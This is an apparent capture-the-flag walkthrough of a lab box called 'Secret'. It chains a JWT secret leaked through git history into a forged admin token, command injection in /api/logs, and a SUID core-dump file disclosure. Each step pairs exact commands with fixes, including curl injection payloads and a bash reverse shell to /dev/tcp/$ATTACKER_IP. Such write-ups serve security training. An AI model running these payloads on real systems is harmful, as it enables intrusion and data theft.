← all walkthroughs

Secret

Linux· Easy
owned
2026-07-06
time to own
8m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target secret ($TARGET) runs a Node.js REST API exposed on port 3000 and proxied through nginx on port 80. The nginx virtual host served a downloadable ZIP of the full application source code, which contained an embedded Git repository.

Inspecting the commit history revealed a JWT signing secret that had been replaced in the live file but never purged from history. That secret was used to forge a valid admin token, which unlocked the /api/logs endpoint — a file-reader whose query parameter was concatenated directly into a shell command.

Injecting OS commands through that parameter gave remote code execution as application user dasith (uid=1000). Privilege escalation to root exploited a SUID-root binary (/opt/count): by running it against /root/root.txt and sending SIGABRT while the file was held open in memory, the kernel produced a core dump in /var/crash/ containing the file's contents in plaintext, readable by any local user.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped three open services and identified the Node.js API surface
An nmap service scan identified SSH on port 22, nginx 1.18.0 on port 80, and a Node.js Express application directly on port 3000. Both HTTP ports served the same API, indicating nginx acts as a reverse proxy to the Express backend. The landing page on port 80 included a link to download the application's source code as a ZIP archive.
Nmap returned: 22/tcp ssh OpenSSH 8.2p1, 80/tcp http nginx 1.18.0 (Ubuntu), 3000/tcp http Node.js (Express middleware)
Exact commands 2
Service-version scan on the three discovered ports.
nmap -Pn -sV -p 22,80,3000 $TARGET
Confirm the landing page and locate the source-code download link.
curl -sS http://$TARGET/
2EnumerationExposed source code and Git repository disclosure (T1213)
Downloaded the public source archive and found an embedded Git repository
The nginx web root served the application source as a downloadable ZIP. Extracting the archive revealed a fully initialised Git repository, including the complete .git object store and all historical commits. Any visitor could access every version of every file the developers had ever committed — including secrets removed from later commits.
Exact commands 2
Download the source archive; adjust the path to the actual download URL shown on the landing page.
curl -sS -o /tmp/secret_src.zip http://$TARGET/downloads/secret.zip
Extract and confirm the embedded Git repository is present.
unzip -q /tmp/secret_src.zip -d /tmp/secret_htb_src && ls -la /tmp/secret_htb_src/.git
FixRemove the application source archive and block Git directory access on the web serverHigh
WeaknessThe nginx web root served a downloadable ZIP of the complete application source, including its full Git object store. Any visitor could download every historical commit and read files — including past secrets — that developers believed had been deleted.
FixRemove the source archive from the web root immediately. Never publish source bundles or .git directories through a production web server. If distributing source is necessary, use git archive to produce a clean export with no .git directory and audit its contents before publishing. Add the following deny rule to the nginx configuration as defence-in-depth: location ~ /\.git { deny all; return 404; }
3Credential HarvestingCredentials in Git history (T1552.007)
Recovered a JWT signing secret from Git commit history
Reviewing the commit log showed an early commit that placed a real JWT signing secret in the .env file. A later commit replaced it with a placeholder string, but the original secret remained permanently readable in the repository's object store. Knowing this secret allows me to produce tokens the application will verify and trust as genuine.
Source archive contained admin.jwt generated from the leaked secret; git show on the prior commit to .env exposes the original TOKEN_SECRET value.
Exact commands 2
List all commits that touched .env to find the one containing the real secret.
git -C /tmp/secret_htb_src log --all --oneline -- .env
Read the previous version of .env to extract the original TOKEN_SECRET value; replace <earlier-commit-hash> with the commit identified above.
git -C /tmp/secret_htb_src show <earlier-commit-hash>:.env
FixRotate all secrets exposed in Git history and enforce pre-commit secret scanningCritical
WeaknessA JWT signing secret was committed to the .env file in an early commit. Although a later commit replaced it with a placeholder, the original value remained permanently readable in the repository's object store, allowing an unauthorised user to forge authentication tokens accepted as legitimate by the running application.
FixImmediately rotate the JWT secret (and any other credentials found in history), update the running application, and invalidate all existing sessions. Use git filter-repo to scrub the secret from all branches and tags, then force-push and require all collaborators to re-clone. Going forward, store secrets exclusively in environment variables injected at deploy time or in a dedicated secrets manager (e.g., HashiCorp Vault). Add a pre-commit hook using a tool such as git-secrets or truffleHog to block accidental secret commits at the developer workstation.
4ExploitationJWT secret reuse — forged authentication token (T1550)
Forged an admin JWT to gain authenticated access to protected API endpoints
The API authenticated requests by verifying an HMAC-signed JWT in the auth-token header. Using the secret recovered from Git history, a token was crafted with an admin role claim. Because the application validates only the cryptographic signature and trusts the claims inside any correctly signed token, the forged token was indistinguishable from a legitimate one.
Exact commands 2
Generate the forged admin JWT using the leaked secret; the output is written to admin.jwt.
cd /tmp/secret_htb_src && node -e "const jwt=require('jsonwebtoken'); const secret=require('fs').readFileSync('.env','utf8').match(/TOKEN_SECRET=(.+)/)[1].trim(); console.log(jwt.sign({name:'theadmin'},secret));" > admin.jwt
Confirm the forged token returns admin-level access.
TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -H "auth-token: $TOKEN" http://$TARGET:3000/api/priv
5FootholdOS command injection (CWE-78 / T1059.004)
Exploited OS command injection in /api/logs to execute commands as dasith
The /api/logs endpoint accepted a file query parameter and appended it without sanitisation to a shell invocation (equivalent to git log <file>). Injecting a semicolon followed by an OS command after a benign value such as /dev/null caused the shell to execute the injected command as the Node.js process owner, dasith (uid=1000). The identical vulnerability was present on both the nginx-proxied port 80 and the direct Express port 3000.
Exact commands 3
Confirm command injection; response includes uid=1000(dasith).
TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null;id' http://$TARGET:3000/api/logs
Read the user flag via injection; captured value is <user.txt>.
TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null; cat /home/dasith/user.txt' http://$TARGET:3000/api/logs
Upgrade to an interactive reverse shell; start nc -lvnp 4444 first and substitute your $ATTACKER_IP for $ATTACKER_IP.
TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null; bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"' http://$TARGET:3000/api/logs
FixReplace shell concatenation in /api/logs with a safe file-reading APICritical
WeaknessThe /api/logs endpoint passed the user-supplied file parameter directly into a shell command string. Any authenticated user could append arbitrary OS commands using shell metacharacters (;, |, $(), etc.), running them as the application user.
FixReplace the shell invocation with Node.js's built-in fs module (e.g., fs.readFileSync) so no shell is involved at all. If shelling out is genuinely necessary, use child_process.execFile() with an explicit argument array rather than exec() or execSync() with template strings; execFile() does not invoke a shell and metacharacters in arguments are treated as literals. Additionally, validate the file parameter against a strict allowlist of characters (e.g., /^[a-zA-Z0-9/_.-]+$/) and resolve the path to confirm it stays within an expected directory before use.
6Privilege EscalationSUID binary abuse + core dump sensitive file disclosure (T1574.004)
Abused SUID /opt/count to disclose root-owned file contents via core dump
The binary /opt/count is owned by root with the SUID bit set, so it runs as root regardless of who invokes it. It reads a file path given as a command-line argument into memory, prints statistics, then pauses and asks the user whether to save results. Because the process runs as root it can open any file on the filesystem, including /root/root.txt. By sending SIGABRT to the paused process from a second terminal, the kernel produces a core dump at /var/crash/. Ubuntu's Apport crash handler stores this dump world-readable by default; unpacking it and running strings on the CoreDump file reveals the root-owned file's contents in plaintext without any further privilege.
Exact commands 6
From dasith's shell — enumerate SUID binaries; /opt/count should appear.
find / -perm -4000 -type f 2>/dev/null
Confirm the binary is -rwsr-xr-x root root.
ls -la /opt/count
Start /opt/count on the root flag in the background; it reads the file into memory then blocks waiting for input — do not answer the prompt yet.
/opt/count /root/root.txt &
Send SIGABRT to the running process to force a core dump while /root/root.txt is held open in memory.
kill -ABRT $(pidof count)
Unpack the Ubuntu crash report to extract the CoreDump binary.
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_out
Extract readable strings from the core dump; the root flag (<root.txt>) appears in the memory region where the file was read.
strings /tmp/crash_out/CoreDump | grep -A1 'root.txt'
FixRemove the SUID bit from /opt/count and disable SUID core dumpsHigh
WeaknessThe /opt/count binary ran as root via the SUID bit, letting any local user open files readable only by root. Triggering a core dump while the process held a sensitive file open produced a world-readable crash file containing the file's in-memory contents — bypassing all file-permission controls.
FixRemove the SUID bit: chmod u-s /opt/count. If the binary needs elevated read access to specific paths, grant only the minimum Linux capability instead (e.g., setcap cap_dac_read_search+ep /opt/count). Separately, harden core dump handling: add fs.suid_dumpable=0 to /etc/sysctl.conf (prevents SUID/SGID processes from producing dumps readable by the invoking user) and set a systemd-wide core dump size limit of zero for production services (LimitCORE=0 in the unit file) to eliminate the dump artefact entirely.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
3000/tcp